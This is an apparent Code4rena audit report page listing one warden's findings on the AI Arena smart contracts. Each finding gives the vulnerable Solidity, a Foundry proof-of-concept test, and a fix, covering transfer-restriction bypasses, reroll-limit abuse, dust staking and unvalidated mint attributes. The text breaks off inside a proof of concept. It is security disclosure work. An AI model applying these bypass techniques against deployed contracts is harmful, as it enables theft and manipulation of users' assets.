Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 57/283
Findings: 8
Award: $118.75
π Selected for report: 1
π Solo Findings: 0
π Selected for report: CodeWasp
Also found by: 0x13, 0xAlix2, 0xAsen, 0xCiphky, 0xE1, 0xLogos, 0xaghas, 0xlemon, 0xlyov, 0xvj, ADM, Aamir, BARW, Bauchibred, DMoore, DanielArmstrong, Draiakoo, Fulum, GhK3Ndf, Josh4324, Kalogerone, KmanOfficial, Krace, KupiaSec, Limbooo, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Tendency, _eperezok, adam-idarrha, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, c0pp3rscr3w3r, cartlex_, cats, d3e4, deadrxsezzz, denzi_, devblixt, dimulski, erosjohn, evmboi32, fnanni, grearlake, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, juancito, klau5, korok, ktg, ladboy233, matejdb, merlinboii, novamanbg, nuthan2x, oualidpro, peanuts, petro_1912, pkqs90, pynschon, radev_sw, rouhsamad, sashik_eth, shaka, sobieski, soliditywala, stackachu, tallo, thank_you, ubl4nk, vnavascues, web3pwn, xchen1130, zhaojohnson
0.1044 USDC - $0.10
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L355-L365
To restrict the transfer of fighters in certain cases, contract FighterFarm
override function transferFrom
and safeTransferFrom
and added a check using function _ableToTransfer
:
function safeTransferFrom( address from, address to, uint256 tokenId ) public override(ERC721, IERC721) { require(_ableToTransfer(tokenId, to)); _safeTransfer(from, to, tokenId, ""); } function transferFrom( address from, address to, uint256 tokenId ) public override(ERC721, IERC721) { require(_ableToTransfer(tokenId, to)); _transfer(from, to, tokenId); } function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) { return ( _isApprovedOrOwner(msg.sender, tokenId) && balanceOf(to) < MAX_FIGHTERS_ALLOWED && !fighterStaked[tokenId] ); }
Function _ableToTransfer
will and forbid the transfer if balance of to
address exceeds MAX_FIGHTERS_ALLOWED or the fighter is staked.
However, FighterFarm
inherit openzeppelin ERC721 contract and you can see they have 2 functions with same name safeTransferFrom
, one with data
param and one without:
function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner nor approved"); _safeTransfer(from, to, tokenId, data); }
The contract FighterFarm
only overrides and adds check to safeTransferFrom
; therefore, if someone call safeTransferFrom
with data, function _ableToTransfer
will be bypassed.
This issue will have big impact because the fact that users cannot transfer fighter when they are staked is an important logic of AI Arena. There are many ways to exploit this, for example:
Below is a POC, save it to contract RankedBattleTest
under file test/RankedBattle.t.sol
and run it using command:
forge test --match-path test/RankedBattle.t.sol --match-test testSafeTransferFromWithData -vvvv
function testSafeTransferFromWithData() public { address alice = vm.addr(35); _mintFromMergingPool(alice); _fundUserWith4kNeuronByTreasury(alice); vm.startPrank(alice); // Nft 0 is already staked _rankedBattleContract.stakeNRN(10 ** 18, 0); assertEq(_fighterFarmContract.fighterStaked(0), true); assertEq(_fighterFarmContract.ownerOf(0), alice); vm.expectRevert(); _fighterFarmContract.safeTransferFrom(alice, _ownerAddress, 0); // Success when transferred with safeTransferFrom with data _fighterFarmContract.safeTransferFrom(alice, _ownerAddress, 0, ""); assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); assertEq(_fighterFarmContract.fighterStaked(0), true); vm.stopPrank(); }
Manual Review
Since function safeTransferFrom
without data will call function safeTransferFrom
with data, you only have to override function safeTransferFrom
with data and add the check:
function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) public override(ERC721, IERC721) { require(_ableToTransfer(tokenId, to)); _safeTransfer(from, to, tokenId, data); }
Invalid Validation
#0 - c4-pre-sort
2024-02-23T05:45:03Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-23T05:45:12Z
raymondfam marked the issue as duplicate of #739
#2 - c4-judge
2024-03-11T02:51:10Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Aamir
Also found by: 0rpse, 0x11singh99, 0x13, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xE1, 0xKowalski, 0xLogos, 0xWallSecurity, 0xaghas, 0xbranded, 0xlemon, 0xlyov, 0xpoor4ever, 0xprinc, 0xvj, ADM, Aymen0909, BARW, Bauchibred, Breeje, CodeWasp, DMoore, DeFiHackLabs, Draiakoo, Fulum, GhK3Ndf, Greed, Jorgect, Josh4324, Kalogerone, KmanOfficial, Krace, Limbooo, McToady, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Ryonen, SovaSlava, SpicyMeatball, Tendency, Timenov, ZanyBonzy, _eperezok, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, cats, csanuragjain, deadrxsezzz, denzi_, devblixt, dimulski, djxploit, erosjohn, evmboi32, fnanni, grearlake, haxatron, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, josephdara, juancito, kiqo, klau5, korok, krikolkk, ktg, kutugu, ladboy233, lil_eth, m4ttm, matejdb, merlinboii, n0kto, ni8mare, novamanbg, nuthan2x, oualidpro, pa6kuda, peter, petro_1912, pkqs90, pynschon, sandy, sashik_eth, shaflow2, shaka, sobieski, soliditywala, solmaxis69, stackachu, tallo, thank_you, tpiliposian, ubl4nk, visualbits, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0037 USDC - $0.00
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L291-L303
Contract GameItems represents a collection of game items used in AI Arena. The contract inherits ERC1155 contract, and the transfer of "game items" corresponds to the transfer of ERC1155 tokens.
Each game item has a field called transferable
which decides if it could be transferred or not. The contract prohibits the transfer of non-transferable items by overriding ERC1155 function safeTransferFrom
and requires transferable = True
:
function safeTransferFrom( address from, address to, uint256 tokenId, uint256 amount, bytes memory data ) public override(ERC1155) { require(allGameItemAttributes[tokenId].transferable); super.safeTransferFrom(from, to, tokenId, amount, data); }
However, ERC1155 function safeBatchTransferFrom
is not overridden and added the same check, allowing game items with transferable = False
to be transferred.
Below is a POC, save this test case to contract GameItemsTest
under file test/GameItems.t.sol
and run it using command:
forge test --match-path test/GameItems.t.sol --match-test testSafeBatchTransfer -vvvv
function testSafeBatchTransfer() public { // Create a gameItem with transferable = false and price =0 for testing _gameItemsContract.createGameItem( "Gloves", "https://ipfs.io/ipfs/gloves", false, false, 10_000, 0, 10 ); (string memory name,,,,,) = _gameItemsContract.allGameItemAttributes(1); assertEq(name, "Gloves"); assertEq(_gameItemsContract.remainingSupply(1), 10_000); assertEq(_gameItemsContract.uniqueTokensOutstanding(), 2); _gameItemsContract.mint(1, 10); // If transfer using safeTransferFrom then fail vm.expectRevert(); _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 1, 10, ""); // Transfer successfully with safeBatchTransferFrom uint256[] memory ids = new uint256[](1); uint256[] memory amounts = new uint256[](1); ids[0] = 1; amounts[0] = 10; _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, ""); }
Manual review.
I recommend overriding function safeBatchTransferFrom
and add the same check as safeTransferFrom
.
Invalid Validation
#0 - c4-pre-sort
2024-02-22T04:07:22Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T04:07:29Z
raymondfam marked the issue as duplicate of #18
#2 - c4-pre-sort
2024-02-26T00:28:28Z
raymondfam marked the issue as duplicate of #575
#3 - c4-judge
2024-03-05T04:47:39Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-05T04:54:41Z
HickupHH3 marked the issue as satisfactory
π Selected for report: klau5
Also found by: 0xAleko, 0xAlix2, 0xAsen, 0xCiphky, 0xKowalski, 0xlemon, 0xvj, 14si2o_Flint, Aamir, AlexCzm, Aymen0909, BARW, Blank_Space, DanielArmstrong, Davide, Draiakoo, Giorgio, McToady, MrPotatoMagic, PoeAudits, Ryonen, Silvermist, SpicyMeatball, Tychai0s, VAD37, Varun_05, alexxander, alexzoid, aslanbek, blutorque, btk, cats, d3e4, denzi_, evmboi32, fnanni, givn, grearlake, haxatron, jesjupyter, juancito, ke1caM, ktg, lanrebayode77, linmiaomiao, matejdb, merlinboii, n0kto, novamanbg, nuthan2x, petro_1912, pynschon, radin100, sashik_eth, shaka, sl1, soliditywala, solmaxis69, t0x1c, ubl4nk, vnavascues, xchen1130, yotov721, zhaojohnson
1.1225 USDC - $1.12
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L372
Fighter nft can be rerolled, and they can not be rerolled more than what they can. maxRerollsAllowed
is a variable defines the number of times an nft can be rerolled, it's an array with 2 elements, the first is the number of times nft of type 0 can be rerolled, and second is for type 1. And each time fighter generation upgraded, maxRerollsAllowed
for that fighter type increases by 1:
uint8[2] public maxRerollsAllowed = [3, 3]; function incrementGeneration(uint8 fighterType) external returns (uint8) { require(msg.sender == _ownerAddress); generation[fighterType] += 1; maxRerollsAllowed[fighterType] += 1; return generation[fighterType]; }
The problem is that the function reRoll
does not derive the fighterType from the nft data but get it from user input:
function reRoll(uint8 tokenId, uint8 fighterType) public { require(msg.sender == ownerOf(tokenId)); require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]); ...
Thefore, uses can pass in a different fighterType and can reRoll their nfts more than allowed. For example:
maxRerollsAllowed = [3,3]
incrementGeneration
with fighterType = 1, now maxRerollsAllowed = [3,4]
, which means the maximum number of rerolls for fighterType = 0 is still 3. However, Alice can just call reroll with fighterType = 1 and successfully reroll again.Below is a POC, save this test case to contract FighterFarmTest
under file test/FighterFarm.t.sol
and run it using command:
forge test --match-path test/FighterFarm.t.sol --match-test testRerollMoreThanAllowed -vvvv
Note that in the POC I cannot reroll again also because of another vulnerability I've reported involving generation upgrade. But if you run the test, you will see the test case reverts with Division or modulo by 0
, which indicates the line require(numRerolls[tokenId] < maxRerollsAllowed[fighterType])
is passed.
function testRerollMoreThanAllowed() public { _mintFromMergingPool(_ownerAddress); // get 4k neuron from treasury _fundUserWith4kNeuronByTreasury(_ownerAddress); // after successfully minting a fighter, update the model uint256 neuronBalanceBeforeReRoll = _neuronContract.balanceOf(_ownerAddress); uint8 tokenId = 0; uint8 fighterType = 0; _neuronContract.addSpender(address(_fighterFarmContract)); _fighterFarmContract.reRoll(tokenId, fighterType); _fighterFarmContract.reRoll(tokenId, fighterType); _fighterFarmContract.reRoll(tokenId, fighterType); vm.expectRevert(); _fighterFarmContract.reRoll(tokenId, fighterType); assertEq(_fighterFarmContract.numRerolls(0), 3); // Set new generation for fighterType = 1 _fighterFarmContract.incrementGeneration(1); assertEq(_fighterFarmContract.maxRerollsAllowed(1), 4); assertEq(_fighterFarmContract.maxRerollsAllowed(0), 3); // vm.expectRevert(); _fighterFarmContract.reRoll(tokenId, 1); }
Manual Review
I recommend deriving fighterType from the user's nft data in function reRoll
instead of letting users pass it as input.
Invalid Validation
#0 - c4-pre-sort
2024-02-22T02:18:17Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T02:18:24Z
raymondfam marked the issue as duplicate of #306
#2 - c4-judge
2024-03-05T04:35:38Z
HickupHH3 marked the issue as satisfactory
#3 - c4-judge
2024-03-19T09:05:07Z
HickupHH3 changed the severity to 3 (High Risk)
π Selected for report: t0x1c
Also found by: 0rpse, 0xAadi, 0xBinChook, 0xCiphky, 0xDetermination, 14si2o_Flint, AC000123, Aamir, Abdessamed, Blank_Space, CodeWasp, DanielArmstrong, DarkTower, Draiakoo, Honour, Kalogerone, Krace, McToady, Merulez99, MidgarAudits, MrPotatoMagic, PedroZurdo, Silvermist, Tychai0s, VAD37, Velislav4o, VrONTg, WoolCentaur, YouCrossTheLineAlfie, ZanyBonzy, alexxander, aslanbek, btk, csanuragjain, d3e4, dimulski, djxploit, erosjohn, evmboi32, fnanni, forgebyola, forkforkdog, handsomegiraffe, immeas, israeladelaja, juancito, ktg, n0kto, neocrao, ni8mare, okolicodes, peanuts, petro_1912, shaflow2, shaka, swizz, ubermensch, ubl4nk, yotov721
2.0593 USDC - $2.06
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L439 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L519-L534
Function _addResultPoints
of RankedBattle
is called by game server to update nft points. In case an nft loses and having no points, then the staked amount on that nft is placed at risk. If an nft have some staked amount placed at risk (any amount), then the nft will not gain points the next round if it wins, instead stakeAtRisk.reclaimNRN
is called to reduce the staked amount at risk. Only when staked amount at risk is reduced to zero that the nft can accumulate points again.
However, the variable curStakeAtRisk
is currently calculated as:
curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4
with bpsLostPerLoss = 10
. If amountStaked
is small enough, for example amountStaked[tokenId] = 1
, then curStakeAtRisk = 0
.
If the nft loses and having no points, then its staked at risk record is updated with updateAtRiskRecords
:
bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk); if (success) { _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner); amountStaked[tokenId] -= curStakeAtRisk; }
However, since curStakeAtRisk
is zero, the nft is not labeled as having stake at risk
and can just earn points the next win normally.
Furthermore, staking dust amount does not decrease the points an nft can receive, as the points = stakingFactor * eloFactor
, in that eloFactor is assigned by game server and corresponds to nft ranking, and stakingFactor is calculated as:
function _getStakingFactor( uint256 tokenId, uint256 stakeAtRisk ) private view returns (uint256) { uint256 stakingFactor_ = FixedPointMathLib.sqrt( (amountStaked[tokenId] + stakeAtRisk) / 10**18 ); if (stakingFactor_ == 0) { stakingFactor_ = 1; } return stakingFactor_; }
You can see if amountStaked[tokenId]
is very small, then stakingFactor will still = 1. Therefore, there's not difference if an nft is staked 1 or 10**18 tokens.
Below is a POC, save this test case to contract RankedBattleTest
under file test/RankedBattle.t.sol
and run it using command:
forge test --match-path test/RankedBattle.t.sol --match-test testDustStakeAmount -vvvv
function testDustStakeAmount() public { address player = vm.addr(3); _mintFromMergingPool(player); _fundUserWith4kNeuronByTreasury(player); vm.prank(player); // Stake 1 _rankedBattleContract.stakeNRN(1, 0); assertEq(_rankedBattleContract.amountStaked(0),1); vm.startPrank(address(_GAME_SERVER_ADDRESS)); // If the nft wins, we have 1500 points (mergingPortion = 0) _rankedBattleContract.updateBattleRecord(0, 0, 0, 1500, true); assertEq(_rankedBattleContract.accumulatedPointsPerAddress(player, 0), 1500); // If the player loses, his points will be zero _rankedBattleContract.updateBattleRecord(0, 0, 2, 1500, true); assertEq(_rankedBattleContract.accumulatedPointsPerAddress(player, 0), 0); // If the player loses again, his staked amount is not placed at risk _rankedBattleContract.updateBattleRecord(0, 0, 2, 1500, true); assertEq(_stakeAtRiskContract.getStakeAtRisk(0), 0); // Since the player has no amount at risk, he can gain points if he wins _rankedBattleContract.updateBattleRecord(0, 0, 0, 1500, true); assertEq(_rankedBattleContract.accumulatedPointsPerAddress(player, 0), 1500); vm.stopPrank(); }
Manual Review
I recommend requiring the owner to stake an amount greater than a predefined threshold to prevent dust amount.
Math
#0 - c4-pre-sort
2024-02-22T16:26:04Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-25T08:26:13Z
raymondfam marked the issue as duplicate of #38
#2 - c4-judge
2024-03-07T02:58:22Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-07T03:51:50Z
HickupHH3 marked the issue as satisfactory
π Selected for report: abhishek_thaku_r
Also found by: 0xAlix2, 0xDetermination, 0xShitgem, Draiakoo, Fulum, Greed, MrPotatoMagic, PoeAudits, Tychai0s, ahmedaghadi, alexzoid, dimulski, fnanni, givn, iamandreiski, immeas, kartik_giri_47538, kiqo, klau5, korok, ktg, maxim371, offside0011, pontifex, sashik_eth, stakog, swizz, yotov721
111.676 USDC - $111.68
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L370
Function reRoll
of contract FighterFarm
is currently implemented as:
function reRoll(uint8 tokenId, uint8 fighterType) public { require(msg.sender == ownerOf(tokenId)); require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]); require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll"); _neuronInstance.approveSpender(msg.sender, rerollCost); bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost); if (success) { numRerolls[tokenId] += 1; uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId]))); (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType); fighters[tokenId].element = element; fighters[tokenId].weight = weight; fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes( newDna, generation[fighterType], fighters[tokenId].iconsType, fighters[tokenId].dendroidBool ); _tokenURIs[tokenId] = ""; } }
As you can see, the input tokenId
is of type uint8
, this will prevent all nfts with tokenId > 255 to be rerolled. Given that there will be thousands of nfts created for players, most of them cannot be rerolled.
Manual Review
I recommend changing tokenId input from uint8
to uint256
Under/Overflow
#0 - c4-pre-sort
2024-02-22T02:21:08Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T02:21:14Z
raymondfam marked the issue as duplicate of #68
#2 - c4-judge
2024-03-05T01:59:46Z
HickupHH3 marked the issue as satisfactory
π Selected for report: haxatron
Also found by: 0xAlix2, 0xCiphky, 0xStriker, 0xaghas, 0xbranded, 0xlamide, 0xmystery, 0xvj, 14si2o_Flint, Aamir, AgileJune, Aymen0909, DanielArmstrong, DarkTower, Draiakoo, EagleSecurity, Giorgio, Krace, KupiaSec, MidgarAudits, MrPotatoMagic, PoeAudits, Ryonen, SpicyMeatball, Topmark, Tychai0s, VAD37, Varun_05, VrONTg, WoolCentaur, _eperezok, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, d3e4, devblixt, evmboi32, fnanni, immeas, jesjupyter, juancito, ke1caM, klau5, ktg, lil_eth, merlinboii, nuthan2x, peter, petro_1912, pkqs90, pynschon, radin100, sandy, sashik_eth, shaka, sl1, soliditywala, t0x1c, ubl4nk, visualbits, vnavascues
1.1225 USDC - $1.12
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L129-L134
Function _createFighterBase
of contract FighterFarm is responsible for calculating fighter's weight, element and dna:
function _createFighterBase( uint256 dna, uint8 fighterType ) private view returns (uint256, uint256, uint256) { uint256 element = dna % numElements[generation[fighterType]]; uint256 weight = dna % 31 + 65; uint256 newDna = fighterType == 0 ? dna : uint256(fighterType); return (element, weight, newDna); }
Fighter's element
is computed as dna % numElements[generation[fighterType]]
. In this formula:
generation
is of type uint8[2]
, it's initialized as [0, 0]
. Generation can be increased using function incrementGeneration
:function incrementGeneration(uint8 fighterType) external returns (uint8) { require(msg.sender == _ownerAddress); generation[fighterType] += 1; maxRerollsAllowed[fighterType] += 1; return generation[fighterType]; }
numElements
is of type mapping(uint8 => uint8)
The problem is that numElements
are initialized only once in constructor, and then there's no way to add new element to numElements
(you can search the code to confirm this); therefore, after generation upgrade, numElements[generation[fighterType]]
will return default value = 0, and the function will revert with Division or modulo by 0
. Let's take an example, in this example, fighterType = 0:
generation = [0,0]
and numElements[0] = 3
generation[fighterType] = generation[0] = 0
=> numElements[generation[fighterType]] = numElements[generation[0]] = numElements[0]
= 3numElements[generation[0]] = numElements[1]
= 0_createFighterBase
will revert with Division or modulo by 0
Function _createFighterBase
is used in _createNewFighter
and reRoll
function, making the users unable to reroll their fighters and create new fighters.
Below is a POC, save this test case to contract FighterFarmTest
in file test/FighterFarm.t.sol
and run it using command:
forge test --match-path test/FighterFarm.t.sol --match-test testCreateNewFighterFailAfterIncrementGeneration -vvvv
function testCreateNewFighterFailAfterIncrementGeneration() public { // vm.prank(address(_mergingPoolContract)); _fighterFarmContract.mintFromMergingPool(_ownerAddress, "_neuralNetHash", "original", [uint256(100), uint256(100)]); assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1); assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); // Increment generation for fighter type 0 vm.prank(_ownerAddress); _fighterFarmContract.incrementGeneration(0); // Will revert with Division or modulo by 0 vm.startPrank(address(_mergingPoolContract)); vm.expectRevert(); _fighterFarmContract.mintFromMergingPool(_ownerAddress, "_neuralNetHash", "original", [uint256(100), uint256(100)]); vm.stopPrank(); }
Manual Review
I recommend these fixes:
numElements[generation[fighterType]]
= 0, then take a default value for calculation insteadnumElements
Math
#0 - c4-pre-sort
2024-02-22T18:40:54Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T18:41:05Z
raymondfam marked the issue as duplicate of #45
#2 - c4-judge
2024-03-07T07:03:09Z
HickupHH3 marked the issue as satisfactory
π Selected for report: ktg
Also found by: 0xCiphky, 0xDetermination, 0xRiO, 0xWallSecurity, 0xlemon, 0xvj, AlexCzm, BARW, Blank_Space, Draiakoo, FloatingPragma, Giorgio, Matue, McToady, MrPotatoMagic, Silvermist, SpicyMeatball, Tendency, Topmark, Tumelo_Crypto, _eperezok, agadzhalov, ahmedaghadi, alexxander, aslanbek, cats, d3e4, denzi_, dutra, evmboi32, fnanni, givn, handsomegiraffe, haxatron, immeas, juancito, ke1caM, kiqo, klau5, krikolkk, niser93, peter, petro_1912, pkqs90, rspadi, sl1, stakog, visualbits, vnavascues, yotov721
2.4389 USDC - $2.44
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L313-L331 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139-L167
When someone claim their nft rewards from MergingPool, they can input customeAttributes
and create fighters with arbitrary values since currently there is no check on customeAttributes
and it could varies from 0 to 2**256 -1 (type(uint256).max):
function claimRewards( string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes ) external { .... _fighterFarmInstance.mintFromMergingPool( msg.sender, modelURIs[claimIndex], modelTypes[claimIndex], customAttributes[claimIndex] ); .... } function mintFromMergingPool( address to, string calldata modelHash, string calldata modelType, uint256[2] calldata customAttributes ) public { require(msg.sender == _mergingPoolAddress); _createNewFighter( to, uint256(keccak256(abi.encode(msg.sender, fighters.length))), modelHash, modelType, 0, 0, customAttributes ); }
This allow creating fighters with element and weight range from 0 to 2**256 -1 and can have negative impact on AI Arena matches according to the doc here https://docs.aiarena.io/gaming-competition/nft-makeup, for example:
used to calculate how far the fighter moves when being knocked back.
. If an nft has extremely large weight like 2**256-1, then it could never be knocked backBelow is a POC, save the test case to contract MergingPoolTest
under file test/MergingPool.t.sol
and run it using command:
forge test --match-path test/MergingPool.t.sol --match-test testClaimRewardsArbitraryElementAndWeight -vvvv
function testClaimRewardsArbitraryElementAndWeight() public { _mintFromMergingPool(_ownerAddress); _mintFromMergingPool(_DELEGATED_ADDRESS); assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS); uint256[] memory _winners = new uint256[](2); _winners[0] = 0; _winners[1] = 1; // winners of roundId 0 are picked _mergingPoolContract.pickWinner(_winners); assertEq(_mergingPoolContract.isSelectionComplete(0), true); assertEq(_mergingPoolContract.winnerAddresses(0, 0) == _ownerAddress, true); // winner matches ownerOf tokenId assertEq(_mergingPoolContract.winnerAddresses(0, 1) == _DELEGATED_ADDRESS, true); string[] memory _modelURIs = new string[](2); _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory _modelTypes = new string[](2); _modelTypes[0] = "original"; _modelTypes[1] = "original"; uint256[2][] memory _customAttributes = new uint256[2][](2); _customAttributes[0][0] = uint256(0); _customAttributes[0][1] = uint256(type(uint256).max); _customAttributes[1][0] = uint256(type(uint256).max); _customAttributes[1][1] = uint256(0); // winners of roundId 1 are picked _mergingPoolContract.pickWinner(_winners); // winner claims rewards for previous roundIds _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); // Fighter 2 has 2**256 weight and element = 0 (, ,uint256 weight , uint256 element , , , ) = _fighterFarmContract.getAllFighterInfo(2); assertEq(weight, 2**256 - 1); assertEq(element, 0); // Fighter 3 has 0 weight and 2**256 element (, , weight , element , , , ) = _fighterFarmContract.getAllFighterInfo(3); assertEq(weight, 0); assertEq(element, 2**256 - 1); }
Manual Review
I recommend checking customAttributes
in function mintFromMergingPool
and only restrict weight
and element
in predefined ranges. For example, weight must be in range [65, 95], element must be in range [0,2].
Invalid Validation
#0 - c4-pre-sort
2024-02-24T08:57:44Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-24T08:57:52Z
raymondfam marked the issue as duplicate of #226
#2 - c4-judge
2024-03-11T10:24:55Z
HickupHH3 marked the issue as satisfactory
#3 - c4-judge
2024-03-11T10:32:30Z
HickupHH3 marked the issue as selected for report
#4 - c4-judge
2024-03-15T02:17:41Z
HickupHH3 marked the issue as not selected for report
#5 - c4-judge
2024-03-15T02:17:49Z
HickupHH3 marked the issue as selected for report
#6 - 0xbtk
2024-03-19T21:10:05Z
Hey @HickupHH3, I've raised this issue with the sponsor during the contest, and he clarified the following:
Merging pool is the only function in which it is intended that a user can input their own values to mint because we pre-select the optimal set for them, so if they want to switch it to something less optimal, then it will be worse for them and we won't stop it haha.
Therefore, I think this issue is invalid as it is intended.
#7 - McCoady
2024-03-19T22:15:54Z
Given the numElements
is coded to 3 in FighterFarm's constructor it seems reasonable to believe that the protocol should ensure that a user's inputs fall within that range.
#8 - HickupHH3
2024-03-20T04:01:05Z
https://github.com/code-423n4/2024-02-ai-arena-findings/issues/226#issuecomment-1988071317 can argue that the arbitrary weight can be interpreted to gibberish if it falls outside the range, but doesn't exclude the case where you're able to set desired / optimal values yourself.
#9 - brandinho
2024-04-13T15:46:09Z
Mitigated here
π Selected for report: ahmedaghadi
Also found by: 0x13, 0xAleko, 0xDetermination, 0xKowalski, 0xPluto, 0xRiO, 0xvj, AlexCzm, Avci, BARW, BigVeezus, Cryptor, DeFiHackLabs, Draiakoo, Fitro, Giorgio, GoSlang, Greed, Honour, Kalogerone, KmanOfficial, Krace, McToady, MidgarAudits, MrPotatoMagic, Nyxaris, ReadyPlayer2, Ryonen, SovaSlava, SpicyMeatball, VAD37, _eperezok, alexzoid, almurhasan, btk, cu5t0mpeo, deadrxsezzz, djxploit, dvrkzy, emrekocak, erosjohn, evmboi32, fnanni, grearlake, inzinko, jesjupyter, jesusrod15, josephdara, ke1caM, klau5, ktg, ladboy233, merlinboii, nuthan2x, peanuts, pipidu83, pontifex, radev_sw, sl1, sobieski, soliditywala, t0x1c, taner2344, vnavascues, y4y, yovchev_yoan, zaevlad
0.2347 USDC - $0.23
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L149
Each round the MergingPool admin will pick nft winners for that round by calling pickWinner
. Winners can then claim their nfts by calling claimRewards
:
function claimRewards( string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes ) external { uint256 winnersLength; uint32 claimIndex = 0; uint32 lowerBound = numRoundsClaimed[msg.sender]; for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { numRoundsClaimed[msg.sender] += 1; winnersLength = winnerAddresses[currentRound].length; for (uint32 j = 0; j < winnersLength; j++) { if (msg.sender == winnerAddresses[currentRound][j]) { _fighterFarmInstance.mintFromMergingPool( msg.sender, modelURIs[claimIndex], modelTypes[claimIndex], customAttributes[claimIndex] ); claimIndex += 1; } } } if (claimIndex > 0) { emit Claimed(msg.sender, claimIndex); } }
The problem with this function is that it will claim all nfts from (numRoundsClaimed to latest roundId). Currently, the number of nfts per user cannot exceed MAX_FIGHTERS_ALLOWED
(currently set to 10); therefore, if a user won for example 10 nfts and call claimRewards
, they are forced to claim it all at once and claimRewards
will revert, making the user to lose all his/her nft rewards.
Below is a POC, save these test cases under contract MergingPoolTest
in file test/MergingPool.t.sol
and run it using command:
forge test --match-path test/MergingPool.t.sol --match-test testClaimRewardsRevertWhenMaxFighterIsReached -vvvv
There are 2 test cases, test case testClaimRewardsRevertWhenMaxFighterIsReachedSuccess
demonstrates that a user can successfully claim 9 nfts; test case testClaimRewardsRevertWhenMaxFighterIsReachedFail
demonstrates that a user will lose their nfts if they won 10 nfts and claim them at once:
function testClaimRewardsRevertWhenMaxFighterIsReachedSuccess() public { _mintFromMergingPool(_ownerAddress); _mintFromMergingPool(_DELEGATED_ADDRESS); uint256[] memory _winners = new uint256[](2); _winners[0] = 0; _winners[1] = 1; // picks winner for 9 rounds _mergingPoolContract.pickWinner(_winners); // round 0 _mergingPoolContract.pickWinner(_winners); // round 1 _mergingPoolContract.pickWinner(_winners); // round 2 _mergingPoolContract.pickWinner(_winners); // round 3 _mergingPoolContract.pickWinner(_winners); // round 4 _mergingPoolContract.pickWinner(_winners); // round 5 _mergingPoolContract.pickWinner(_winners); // round 6 _mergingPoolContract.pickWinner(_winners); // round 7 _mergingPoolContract.pickWinner(_winners); // round 8 // winner claims rewards for previous roundIds string[] memory _modelURIs = new string[](9); string[] memory _modelTypes = new string[](9); for (uint i = 0 ; i< 9; i++){ _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; 